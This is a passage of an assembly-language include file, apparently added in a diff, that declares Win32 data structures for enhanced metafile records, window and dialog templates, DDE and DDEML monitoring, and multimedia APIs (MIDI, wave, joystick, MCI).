+.ptlCenter RESB POINT_size +.nRadius RESD 1 +.eStartAngle RESQ 1 +.eSweepAngle RESQ 1 +ENDSTRUC + +STRUC EMRPOLYLINE +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cptl RESD 1 +.aptl1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYBEZIER +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cptl RESD 1 +.aptl1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYGON +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cptl RESD 1 +.aptl1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYBEZIERTO +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cptl RESD 1 +.aptl1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYLINE16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYBEZIER16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYGON16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPLOYBEZIERTO16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYLINETO16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYDRAW +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cptl RESD 1 +.aptl1 RESD 1 +.abTypes1 RESW 1 +ENDSTRUC + +STRUC EMRPOLYDRAW16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cpts RESD 1 +.apts RESD 1 +.abTypes RESW 1 +ENDSTRUC + +STRUC EMRPOLYPOLYLINE +.emr RESB EMR_size +.rclBounds RESB RECT_size +.nPolys RESD 1 +.cptl RESD 1 +.aPolyCounts RESD 1 +.aptl RESD 1 +ENDSTRUC + +STRUC EMRPOLYPOLYGON +.emr RESB EMR_size +.rclBounds RESB RECT_size +.nPolys RESD 1 +.cptl RESD 1 +.aPolyCounts RESD 1 +.aptl1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYPOLYLINE16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.nPolys RESD 1 +.cpts RESD 1 +.aPolyCounts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRPOLYPOLYGON16 +.emr RESB EMR_size +.rclBounds RESB RECT_size +.nPolys RESD 1 +.cpts RESD 1 +.aPolyCounts RESD 1 +.apts1 RESD 1 +ENDSTRUC + +STRUC EMRINVERTRGN +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cbRgnData RESD 1 +.RgnData1 RESW 1 +ENDSTRUC + +STRUC EMRPAINTRGN +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cbRgnData RESD 1 +.RgnData1 RESW 1 +ENDSTRUC + +STRUC EMRFILLRGN +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cbRgnData RESD 1 +.ihBrush RESD 1 +.RgnData RESW 1 +ENDSTRUC + +STRUC EMRFRAMERGN +.emr RESB EMR_size +.rclBounds RESB RECT_size +.cbRgnData RESD 1 +.ihBrush RESD 1 +.szlStroke RESD 1 +.RgnData1 RESW 1 +ENDSTRUC + +STRUC EMREXTSELECTCLIPRGN +.emr RESB EMR_size +.cbRgnData RESD 1 +.iMode RESD 1 +.RgnData RESW 1 +ENDSTRUC + +STRUC EMREXTTEXTOUT +.emr RESB EMR_size +.rclBounds RESB RECT_size +.iGraphicsMode RESD 1 +.exScale RESQ 1 +.eyScale RESQ 1 +.emrtext RESD 1 +ENDSTRUC + +STRUC EMRBITBLT +.emr RESB EMR_size +.rclBounds RESB RECT_size +.xDest RESD 1 +.yDest RESD 1 +.cxDest RESD 1 +.cyDest RESD 1 +.dwRop RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.xformSrc RESD 1 +.crBkColorSrc RESD 1 +.iUsageSrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +ENDSTRUC + +STRUC EMRSTRETCHBLT +.emr RESB EMR_size +.rclBounds RESB RECT_size +.xDest RESD 1 +.yDest RESD 1 +.cxDest RESD 1 +.cyDest RESD 1 +.dwRop RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.xformSrc RESD 1 +.crBkColorSrc RESD 1 +.iUsageSrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +.cxSrc RESD 1 +.cySrc RESD 1 +ENDSTRUC + +STRUC EMRMASKBLT +.emr RESB EMR_size +.rclBounds RESB RECT_size +.xDest RESD 1 +.yDest RESD 1 +.cxDest RESD 1 +.cyDest RESD 1 +.dwRop RESD 1 +.xSrc2 RESD 1 +.cyDest2 RESD 1 +.dwRop2 RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.xformSrc RESD 1 +.crBkColorSrc RESD 1 +.iUsageSrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +.xMask RESD 1 +.yMask RESD 1 +.iUsageMask RESD 1 +.offBmiMask RESD 1 +.cbBmiMask RESD 1 +.offBitsMask RESD 1 +.cbBitsMask RESD 1 +ENDSTRUC + +STRUC EMRPLGBLT +.emr RESB EMR_size +.rclBounds RESB RECT_size +.aptlDest3 RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.cxSrc RESD 1 +.cySrc RESD 1 +.xformSrc RESD 1 +.crBkColorSrc RESD 1 +.iUsageSrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +.xMask RESD 1 +.yMask RESD 1 +.iUsageMask RESD 1 +.offBmiMask RESD 1 +.cbBmiMask RESD 1 +.offBitsMask RESD 1 +.cbBitsMask RESD 1 +ENDSTRUC + +STRUC EMRSETDIBITSTODEVICE +.emr RESB EMR_size +.rclBounds RESB RECT_size +.xDest RESD 1 +.yDest RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.cxSrc RESD 1 +.cySrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +.iUsageSrc RESD 1 +.iStartScan RESD 1 +.cScans RESD 1 +ENDSTRUC + +STRUC EMRSTRETCHDIBITS +.emr RESB EMR_size +.rclBounds RESB RECT_size +.xDest RESD 1 +.yDest RESD 1 +.xSrc RESD 1 +.ySrc RESD 1 +.cxSrc RESD 1 +.cySrc RESD 1 +.offBmiSrc RESD 1 +.cbBmiSrc RESD 1 +.offBitsSrc RESD 1 +.cbBitsSrc RESD 1 +.iUsageSrc RESD 1 +.dwRop RESD 1 +.cxDest RESD 1 +.cyDest RESD 1 +ENDSTRUC + +STRUC EMREXTCREATEFONTINDIRECT +.emr RESB EMR_size +.ihFont RESD 1 +.elfw RESD 1 +ENDSTRUC + +STRUC EMRCREATEPALETTE +.emr RESB EMR_size +.ihPal RESD 1 +.lgpl RESD 1 +ENDSTRUC + +STRUC EMRCREATEPEN +.emr RESB EMR_size +.ihPen RESD 1 +.lopn RESD 1 +ENDSTRUC + +STRUC EMREXTCREATEPEN +.emr RESB EMR_size +.ihPen RESD 1 +.offBmi RESD 1 +.cbBmi RESD 1 +.offBits RESD 1 +.cbBits RESD 1 +.elp RESD 1 +ENDSTRUC + +STRUC EMRCREATEBRUSHINDIRECT +.emr RESB EMR_size +.ihBrush RESD 1 +.lb RESD 1 +ENDSTRUC + +STRUC EMRCREATEMONOBRUSH +.emr RESB EMR_size +.ihBrush RESD 1 +.iUsage RESD 1 +.offBmi RESD 1 +.cbBmi RESD 1 +.offBits RESD 1 +.cbBits RESD 1 +ENDSTRUC + +STRUC EMRCREATEDIBPATTERNBRUSHPT +.emr RESB EMR_size +.ihBursh RESD 1 +.iUsage RESD 1 +.offBmi RESD 1 +.cbBmi RESD 1 +.offBits RESD 1 +.cbBits RESD 1 +ENDSTRUC + +STRUC BITMAPV4HEADER +.bV4Size RESD 1 +.bV4Width RESD 1 +.bV4Height RESD 1 +.bV4Planes RESW 1 +.bV4BitCount RESW 1 +.bV4V4Compression RESD 1 +.bV4SizeImage RESD 1 +.bV4XPelsPerMeter RESD 1 +.bV4YPelsPerMeter RESD 1 +.bV4ClrUsed RESD 1 +.bV4ClrImportant RESD 1 +.bV4RedMask RESD 1 +.bV4GreenMask RESD 1 +.bV4BlueMask RESD 1 +.bV4AlphaMask RESD 1 +.bV4CSType RESD 1 +.bV4Endpoints RESD 1 +.bV4GammaRed RESD 1 +.bV4GammaGreen RESD 1 +.bV4GammaBlue RESD 1 +ENDSTRUC + +STRUC FONTSIGNATURE +.fsUsb4 RESD 1 +.fsCsb2 RESD 1 +ENDSTRUC + +STRUC CHARSETINFO +.ciCharset RESD 1 +.ciACP RESD 1 +.xlfs RESD 1 +ENDSTRUC + +STRUC LOCALESIGNATURE +.lsUsb4 RESD 1 +.lsCsbDefault RESD 1 +.lsCsbSupported RESD 1 +ENDSTRUC + +STRUC NEWTEXTMETRICEX +.ntmTm RESD 1 +.ntmFontSig RESD 1 +ENDSTRUC + +STRUC ENUMLOGFONTEX +.elfLogFont RESD 1 +.elfFullName RESB 1 +.elfStyle RESB 1 +.elfScript RESB 1 +ENDSTRUC + +STRUC GCP_RESULTS +.lStructSize RESD 1 +.lpOutString RESD 1 +.lpOrder RESD 1 +.lpDX RESD 1 +.lpCaretPos RESD 1 +.lpClass RESD 1 +.lpGlyphs RESD 1 +.nGlyphs RESD 1 +.nMaxFit RESD 1 +ENDSTRUC + +STRUC CIEXYZ +.ciexyzX RESD 1 +.ciexyzY RESD 1 +.ciexyzZ RESD 1 +ENDSTRUC + +STRUC CIEXYZTRIPLE +.ciexyzRed RESD 1 +.ciexyzGreen RESD 1 +.ciexyBlue RESD 1 +ENDSTRUC + +STRUC LOGCOLORSPACE +.lcsSignature RESD 1 +.lcsVersion RESD 1 +.lcsSize RESD 1 +.lcsCSType RESD 1 +.lcsIntent RESD 1 +.lcsEndPoints RESD 1 +.lcsGammaRed RESD 1 +.lcsGammaGreen RESD 1 +.lcsGammaBlue RESD 1 +.lcsFileName RESB MAX_PATH +ENDSTRUC + +STRUC EMRSELECTCOLORSPACE +.emr RESB EMR_size +.ihCS RESD 1 +ENDSTRUC + +STRUC EMRCREATECOLORSPACE +.emr RESB EMR_size +.ihCS RESD 1 +.lcs RESD 1 +ENDSTRUC + +STRUC CBTACTIVATESTRUCT +.fMouse RESD 1 +.hWndActive RESD 1 +ENDSTRUC + +STRUC EVENTMSG +.message RESD 1 +.paramL RESD 1 +.paramH RESD 1 +.time RESD 1 +.hwnd RESD 1 +ENDSTRUC + +STRUC CWPSTRUCT +.lParam RESD 1 +.wParam RESD 1 +.message RESD 1 +.hwnd RESD 1 +ENDSTRUC + +STRUC DEBUGHOOKINFO +.hModuleHook RESD 1 +.Reserved RESD 1 +.lParam RESD 1 +.wParam RESD 1 +.code RESD 1 +ENDSTRUC + +STRUC MOUSEHOOKSTRUCT +.pt RESB POINT_size +.hwnd RESD 1 +.wHitTestCode RESD 1 +.dwExtraInfo RESD 1 +ENDSTRUC + +STRUC MINMAXINFO +.ptReserved RESB POINT_size +.ptMaxSize RESB POINT_size +.ptMaxPosition RESB POINT_size +.ptMinTrackSize RESB POINT_size +.ptMaxTrackSize RESB POINT_size +ENDSTRUC + +STRUC COPYDATASTRUCT +.dwData RESD 1 +.cbData RESD 1 +.lpData RESD 1 +ENDSTRUC + +STRUC WINDOWPOS +.hwnd RESD 1 +.hWndInsertAfter RESD 1 +.x RESD 1 +.y RESD 1 +.lx RESD 1 +.ly RESD 1 +.flags RESD 1 +ENDSTRUC + +STRUC ACCEL +.fVirt RESB 1 +.key RESW 1 +.cmd RESW 1 +ENDSTRUC + +STRUC PAINTSTRUCT +.hdc RESD 1 +.fErase RESD 1 +.rcPaint RESB RECT_size +.fRestore RESD 1 +.fIncUpdate RESD 1 +.rgbReserved RESB 32 +ENDSTRUC + +STRUC CREATESTRUCT +.lpCreateParams RESD 1 +.hInstance RESD 1 +.hMenu RESD 1 +.hWndParent RESD 1 +.ly RESD 1 +.lx RESD 1 +.y RESD 1 +.x RESD 1 +.style RESD 1 +.lpszName RESD 1 +.lpszClass RESD 1 +.ExStyle RESD 1 +ENDSTRUC + +STRUC CBT_CREATEWND +.lpcs RESD 1 +.hWndInsertAfter RESD 1 +ENDSTRUC + +STRUC WINDOWPLACEMENT +.iLength RESD 1 +.flags RESD 1 +.showCmd RESD 1 +.ptMinPosition RESB POINT_size +.ptMaxPosition RESB POINT_size +.rcNormalPosition RESB RECT_size +ENDSTRUC + +STRUC MEASUREITEMSTRUCT +.CtlType RESD 1 +.CtlID RESD 1 +.itemID RESD 1 +.itemWidth RESD 1 +.itemHeight RESD 1 +.itemData RESD 1 +ENDSTRUC + +STRUC DRAWITEMSTRUCT +.CtlType RESD 1 +.CtlID RESD 1 +.itemID RESD 1 +.itemAction RESD 1 +.itemState RESD 1 +.hwndItem RESD 1 +.hDC RESD 1 +.rcItem RESB RECT_size +.itemData RESD 1 +ENDSTRUC + +STRUC DELETEITEMSTRUCT +.CtlType RESD 1 +.CtlID RESD 1 +.itemID RESD 1 +.hwndItem RESD 1 +.itemData RESD 1 +ENDSTRUC + +STRUC COMPAREITEMSTRUCT +.CtlType RESD 1 +.CtlID RESD 1 +.hwndItem RESD 1 +.itemID1 RESD 1 +.itemData1 RESD 1 +.itemID2 RESD 1 +.itemData2 RESD 1 +ENDSTRUC + +STRUC DLGTEMPLATE +.style RESD 1 +.dwExtendedStyle RESD 1 +.cdit RESW 1 +.x RESW 1 +.y RESW 1 +.lx RESW 1 +.ly RESW 1 +ENDSTRUC + +STRUC DLGITEMTEMPLATE +.style RESD 1 +.dwExtendedStyle RESD 1 +.x RESW 1 +.y RESW 1 +.lx RESW 1 +.ly RESW 1 +.id RESW 1 +ENDSTRUC + +STRUC MENUITEMTEMPLATEHEADER +.versionNumber RESW 1 +.loffset RESW 1 +ENDSTRUC + +STRUC MENUITEMTEMPLATE +.mtOption RESW 1 +.mtID RESW 1 +.mtString RESB 1 +ENDSTRUC + +STRUC ICONINFO +.fIcon RESD 1 +.xHotspot RESD 1 +.yHotspot RESD 1 +.hbmMask RESD 1 +.hbmColor RESD 1 +ENDSTRUC + +STRUC MDICREATESTRUCT +.szClass RESD 1 +.szTitle RESD 1 +.hOwner RESD 1 +.x RESD 1 +.y RESD 1 +.lx RESD 1 +.ly RESD 1 +.style RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC CLIENTCREATESTRUCT +.hWindowMenu RESD 1 +.idFirstChild RESD 1 +ENDSTRUC + +STRUC MULTIKEYHELP +.mkSize RESD 1 +.mkKeylist RESB 1 +.szKeyphrase RESB 253 +ENDSTRUC + +STRUC HELPWININFO +.wStructSize RESD 1 +.x RESD 1 +.y RESD 1 +.lx RESD 1 +.ly RESD 1 +.wMax RESD 1 +.rgchMember RESB 2 +ENDSTRUC + +STRUC DDEACK +.bAppReturnCode RESW 1 +.Reserved RESW 1 +.fbusy RESW 1 +.fack RESW 1 +ENDSTRUC + +STRUC DDEADVISE +.Reserved RESW 1 +.fDeferUpd RESW 1 +.fAckReq RESW 1 +.cfFormat RESW 1 +ENDSTRUC + +STRUC DDEDATA +.unused RESW 1 +.fresponse RESW 1 +.fRelease RESW 1 +.Reserved RESW 1 +.fAckReq RESW 1 +.cfFormat RESW 1 +.Value1 RESB 1 +ENDSTRUC + +STRUC DDEPOKE +.unused RESW 1 +.fRelease RESW 1 +.fReserved RESW 1 +.cfFormat RESW 1 +.Value1 RESB 1 +ENDSTRUC + +STRUC DDELN +.unused RESW 1 +.fRelease RESW 1 +.fDeferUpd RESW 1 +.fAckReq RESW 1 +.cfFormat RESW 1 +ENDSTRUC + +STRUC DDEUP +.unused RESW 1 +.fAck RESW 1 +.fRelease RESW 1 +.fReserved RESW 1 +.fAckReq RESW 1 +.cfFormat RESW 1 +.xRGB1 RESB 1 +ENDSTRUC + +STRUC HSZPAIR +.hszSvc RESD 1 +.hszTopic RESD 1 +ENDSTRUC + +STRUC SECURITY_QUALITY_OF_SERVICE +.iLength RESD 1 +.Impersonationlevel RESW 1 +.ContextTrackingMode RESW 1 +.EffectiveOnly RESD 1 +ENDSTRUC + +STRUC CONVCONTEXT +.cb RESD 1 +.wFlags RESD 1 +.wCountryID RESD 1 +.iCodePage RESD 1 +.dwLangID RESD 1 +.dwSecurity RESD 1 +.qos RESD 1 +ENDSTRUC + +STRUC CONVINFO +.cb RESD 1 +.hUser RESD 1 +.hConvPartner RESD 1 +.hszSvcPartner RESD 1 +.hszServiceReq RESD 1 +.hszTopic RESD 1 +.hszItem RESD 1 +.wFmt RESD 1 +.wType RESD 1 +.wStatus RESD 1 +.wConvst RESD 1 +.wLastError RESD 1 +.hConvList RESD 1 +.ConvCtxt RESD 1 +.hwnd RESD 1 +.hwndPartner RESD 1 +ENDSTRUC + +STRUC DDEML_MSG_HOOK_DATA +.uiLo RESD 1 +.uiHi RESD 1 +.cbData RESD 1 +.xData RESD 1 +ENDSTRUC + +STRUC MONMSGSTRUCT +.cb RESD 1 +.hwndTo RESD 1 +.dwTime RESD 1 +.htask RESD 1 +.wMsg RESD 1 +.wParam RESD 1 +.lParam RESD 1 +.dmhd RESD 1 +ENDSTRUC + +STRUC MONCBSTRUCT +.cb RESD 1 +.dwTime RESD 1 +.htask RESD 1 +.dwRet RESD 1 +.wType RESD 1 +.wFmt RESD 1 +.hConv RESD 1 +.hsz1 RESD 1 +.hsz2 RESD 1 +.hData RESD 1 +.dwData1 RESD 1 +.dwData2 RESD 1 +.cc RESD 1 +.cbData RESD 1 +.xData8 RESD 1 +ENDSTRUC + +STRUC MONHSZSTRUCT +.cb RESD 1 +.fsAction RESD 1 +.dwTime RESD 1 +.hsz RESD 1 +.htask RESD 1 +.xstr RESB 1 +ENDSTRUC + +STRUC MONERRSTRUCT +.cb RESD 1 +.wLastError RESD 1 +.dwTime RESD 1 +.htask RESD 1 +ENDSTRUC + +STRUC MONLINKSTRUCT +.cb RESD 1 +.dwTime RESD 1 +.htask RESD 1 +.fEstablished RESD 1 +.fNoData RESD 1 +.hszSvc RESD 1 +.hszTopic RESD 1 +.hszItem RESD 1 +.wFmt RESD 1 +.fServer RESD 1 +.hConvServer RESD 1 +.hConvClient RESD 1 +ENDSTRUC + +STRUC MONCONVSTRUCT +.cb RESD 1 +.fConnect RESD 1 +.dwTime RESD 1 +.htask RESD 1 +.hszSvc RESD 1 +.hszTopic RESD 1 +.hConvClient RESD 1 +.hConvServer RESD 1 +ENDSTRUC + +STRUC smpte +.hour RESB 1 +.minute RESB 1 +.sec RESB 1 +.frame RESB 1 +.fps RESB 1 +.dummy RESB 1 +.pad RESB 1 +ENDSTRUC + +STRUC midi +.songptrpos RESD 1 +ENDSTRUC + +STRUC MMTIME +.wType RESD 1 +.u RESD 1 +ENDSTRUC + +STRUC MIDIEVENT +.dwDeltaTime RESD 1 +.dwStreamID RESD 1 +.dwEvent RESD 1 +.dwParms RESD 1 +ENDSTRUC + +STRUC MIDISTRMBUFFVER +.dwVersion RESD 1 +.dwMid RESD 1 +.dwOEMVersion RESD 1 +ENDSTRUC + +STRUC MIDIPROPTIMEDIV +.cbStruct RESD 1 +.dwTimeDiv RESD 1 +ENDSTRUC + +STRUC MIDIPROPTEMPO +.cbStruct RESD 1 +.dwTempo RESD 1 +ENDSTRUC + +STRUC MIXERCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +.fdwSupport RESD 1 +.cDestinations RESD 1 +ENDSTRUC + +STRUC Target +.dwType RESD 1 +.dwDeviceID RESD 1 +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +ENDSTRUC + +STRUC MIXERLINECONTROLS +.cbStruct RESD 1 +.dwLineID RESD 1 +.dwControl RESD 1 +.cControls RESD 1 +.cbmxctrl RESD 1 +.pamxctrl RESD 1 +ENDSTRUC + +STRUC MIXERCONTROLDETAILS +.cbStruct RESD 1 +.dwControlID RESD 1 +.cChannels RESD 1 +.item RESD 1 +.cbDetails RESD 1 +.paDetails RESD 1 +ENDSTRUC + +STRUC MIXERCONTROLDETAILS_BOOLEAN +.fValue RESD 1 +ENDSTRUC + +STRUC MIXERCONTROLDETAILS_SIGNED +.lValue RESD 1 +ENDSTRUC + +STRUC MIXERCONTROLDETAILS_UNSIGNED +.dwValue RESD 1 +ENDSTRUC + +STRUC JOYINFOEX +.dwSize RESD 1 +.dwFlags RESD 1 +.dwXpos RESD 1 +.dwYpos RESD 1 +.dwZpos RESD 1 +.dwRpos RESD 1 +.dwUpos RESD 1 +.dwVpos RESD 1 +.dwButtons RESD 1 +.dwButtonNumber RESD 1 +.dwPOV RESD 1 +.dwReserved1 RESD 1 +.dwReserved2 RESD 1 +ENDSTRUC + +STRUC DRVCONFIGINFO +.dwDCISize RESD 1 +.lpszDCISectionName RESD 1 +.lpszDCIAliasName RESD 1 +.dnDevNode RESD 1 +ENDSTRUC + +STRUC WAVEHDR +.lpData RESD 1 +.dwBufferiLength RESD 1 +.dwBytesRecorded RESD 1 +.dwUser RESD 1 +.dwFlags RESD 1 +.dwLoops RESD 1 +.lpNext RESD 1 +.Reserved RESD 1 +ENDSTRUC + +STRUC WAVEOUTCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +.dwFormats RESD 1 +.wChannels RESW 1 +.dwSupport RESD 1 +ENDSTRUC + +STRUC WAVEINCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +.dwFormats RESD 1 +.wChannels RESW 1 +ENDSTRUC + +STRUC WAVEFORMAT +.wFormatTag RESW 1 +.nChannels RESW 1 +.nSamplesPerSec RESD 1 +.nAvgBytesPerSec RESD 1 +.nBlockAlign RESW 1 +ENDSTRUC + +STRUC PCMWAVEFORMAT +.wf RESD 1 +.wBitsPerSample RESW 1 +ENDSTRUC + +STRUC MIDIOUTCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +.wTechnology RESW 1 +.wVoices RESW 1 +.wNotes RESW 1 +.wChannelMask RESW 1 +.dwSupport RESD 1 +ENDSTRUC + +STRUC MIDIINCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +ENDSTRUC + +STRUC MIDIHDR +.lpData RESD 1 +.dwBufferiLength RESD 1 +.dwBytesRecorded RESD 1 +.dwUser RESD 1 +.dwFlags RESD 1 +.lpNext RESD 1 +.Reserved RESD 1 +ENDSTRUC + +STRUC AUXCAPS +.wMid RESW 1 +.wPid RESW 1 +.vDriverVersion RESD 1 +.szPname RESB MAXPNAMELEN +.wTechnology RESW 1 +.dwSupport RESD 1 +ENDSTRUC + +STRUC TIMECAPS +.wPeriodMin RESD 1 +.wPeriodMax RESD 1 +ENDSTRUC + +STRUC JOYCAPS +.wMid RESW 1 +.wPid RESW 1 +.szPname RESB MAXPNAMELEN +.wXmin RESW 1 +.wXmax RESW 1 +.wYmin RESW 1 +.wYmax RESW 1 +.wZmin RESW 1 +.wZmax RESW 1 +.wNumButtons RESW 1 +.wPeriodMin RESW 1 +.wPeriodMax RESW 1 +ENDSTRUC + +STRUC JOYINFO +.wXpos RESW 1 +.wYpos RESW 1 +.wZpos RESW 1 +.wButtons RESW 1 +ENDSTRUC + +STRUC MMIOINFO +.dwFlags RESD 1 +.fccIOProc RESD 1 +.pIOProc RESD 1 +.wErrorRet RESD 1 +.htask RESD 1 +.cchBuffer RESD 1 +.pchBuffer RESD 1 +.pchNext RESD 1 +.pchEndRead RESD 1 +.pchEndWrite RESD 1 +.lBufOffset RESD 1 +.lDiskOffset RESD 1 +.adwInfo4 RESD 1 +.dwReserved1 RESD 1 +.dwReserved2 RESD 1 +.hmmio RESD 1 +ENDSTRUC + +STRUC MMCKINFO +.ckid RESD 1 +.ckSize RESD 1 +.fccType RESD 1 +.dwDataOffset RESD 1 +.dwFlags RESD 1 +ENDSTRUC + +STRUC MCI_GENERIC_PARMS +.dwCallback RESD 1 +ENDSTRUC + +STRUC MCI_OPEN_PARMS +.dwCallback RESD 1 +.wDeviceID RESD 1 +.lpstrDeviceType RESD 1 +.lpstrElementName RESD 1 +.lpstrAlias RESD 1 +ENDSTRUC + +STRUC MCI_PLAY_PARMS +.dwCallback RESD 1 +.dwFrom RESD 1 +.dwTo RESD 1 +ENDSTRUC + +STRUC MCI_SEEK_PARMS +.dwCallback RESD 1 +.dwTo RESD 1 +ENDSTRUC + +STRUC MCI_STATUS_PARMS +.dwCallback RESD 1 +.dwReturn RESD 1 +.dwItem RESD 1 +.dwTrack RESW 1 +ENDSTRUC + +STRUC MCI_INFO_PARMS +.dwCallback RESD 1 +.lpstrReturn RESD 1 +.dwRetSize RESD 1 +ENDSTRUC + +STRUC MCI_GETDEVCAPS_PARMS +.dwCallback RESD 1 +.dwReturn RESD 1 +.dwIten RESD 1 +ENDSTRUC + +STRUC MCI_SYSINFO_PARMS +.dwCallback RESD 1 +.lpstrReturn RESD 1 +.dwRetSize RESD 1 +.dwNumber RESD 1 +.wDeviceType RESD 1 +ENDSTRUC + +STRUC MCI_SET_PARMS +.dwCallback RESD 1 +.dwTimeFormat RESD 1 +.dwAudio RESD 1 +ENDSTRUC + +STRUC MCI_BREAK_PARMS +.dwCallback RESD 1 +.nVirtKey RESD 1 +.hwndBreak RESD 1 +ENDSTRUC + +STRUC MCI_SOUND_PARMS +.dwCallback RESD 1 +.lpstrSoundName RESD 1 +ENDSTRUC + +STRUC MCI_SAVE_PARMS +.dwCallback RESD 1 +.lpFileName RESD 1 +ENDSTRUC + +STRUC MCI_LOAD_PARMS +.dwCallback RESD 1 +.lpFileName RESD 1 +ENDSTRUC + +STRUC MCI_RECORD_PARMS +.dwCallback RESD 1 +.dwFrom RESD 1 +.dwTo RESD 1 +ENDSTRUC + +STRUC MCI_VD_PLAY_PARMS +.dwCallback RESD 1 +.dwFrom RESD 1 +.dwTo RESD 1 +.dwSpeed RESD 1 +ENDSTRUC + +STRUC MCI_VD_STEP_PARMS +.dwCallback RESD 1 +.dwFrames RESD 1 +ENDSTRUC + +STRUC MCI_VD_ESCAPE_PARMS +.dwCallback RESD 1 +.lpstrCommand RESD 1 +ENDSTRUC + +STRUC MCI_WAVE_OPEN_PARMS +.dwCallback RESD 1 +.wDeviceID RESD 1 +.lpstrDeviceType RESD 1 +.lpstrElementName RESD 1 +.lpstrAlias RESD 1 +.dwBufferSeconds RESD 1 +ENDSTRUC + +STRUC MCI_WAVE_DELETE_PARMS +.dwCallback RESD 1 +.dwFrom RESD 1 +.dwTo RESD 1 +ENDSTRUC + +STRUC MCI_WAVE_SET_PARMS +.dwCallback RESD 1 +.dwTimeFormat RESD 1 +.dwAudio RESD 1 +.wInput RESD 1 +.wOutput RESD 1 +.wFormatTag RESW 1 +.wReserved2 RESW 1 +.nChannels RESW 1 +.wReserved3 RESW 1 +.nSamplesPerSec RESD 1 +.nAvgBytesPerSec RESD 1 +.nBlockAlign RESW 1 +.wReserved4 RESW 1 +.wBitsPerSample RESW 1 +.wReserved5 RESW 1 +ENDSTRUC + +STRUC MCI_SEQ_SET_PARMS +.dwCallback RESD 1 +.dwTimeFormat RESD 1 +.dwAudio RESD 1 +.dwTempo RESD 1 +.dwPort RESD 1 +.dwSlave RESD 1 +.dwMaster RESD 1 +.dwOffset RESD 1 +ENDSTRUC + +STRUC MCI_ANIM_OPEN_PARMS +.dwCallback RESD 1 +.wDeviceID RESD 1 +.lpstrDeviceType RESD 1 +.lpstrElementName RESD 1 +.lpstrAlias RESD 1 +.dwStyle RESD 1 +.hWndParent RESD 1 +ENDSTRUC + +STRUC MCI_ANIM_PLAY_PARMS +.dwCallback RESD 1 +.dwFrom RESD 1 +.dwTo RESD 1 +.dwSpeed RESD 1 +ENDSTRUC + +STRUC MCI_ANIM_STEP_PARMS +.dwCallback RESD 1 +.dwFrames RESD 1 +ENDSTRUC + +STRUC MCI_ANIM_WINDOW_PARMS +.dwCallback RESD 1 +.hwnd RESD 1 +.nCmdShow RESD 1 +.lpstrText RESD 1 +ENDSTRUC + +STRUC MCI_ANIM_RECT_PARMS +.dwCallback RESD 1 +.rc RESB RECT_size +ENDSTRUC + +STRUC MCI_ANIM_UPDATE_PARMS +.dwCallback RESD 1 +.rc RESB RECT_size +.hDC RESD 1 +ENDSTRUC + +STRUC MCI_OVLY_OPEN_PARMS +.dwCallback RESD 1 +.wDeviceID RESD 1 +.lpstrDeviceType RESD 1 +.lpstrElementName RESD 1 +.lpstrAlias RESD 1 +.dwStyle RESD 1 +.hWndParent RESD 1 +ENDSTRUC + +STRUC MCI_OVLY_WINDOW_PARMS +.dwCallback RESD 1 +.hwnd RESD 1 +.nCmdShow RESD 1 +.lpstrText RESD 1 +ENDSTRUC + +STRUC MCI_OVLY_RECT_PARMS +.dwCallback RESD 1 +.rc RESB RECT_size +ENDSTRUC + +STRUC MCI_OVLY_SAVE_PARMS +.dwCallback RESD 1 +.lpFileName RESD 1 +.rc RESB RECT_size +ENDSTRUC + +STRUC MCI_OVLY_LOAD_PARMS +.dwCallback RESD 1 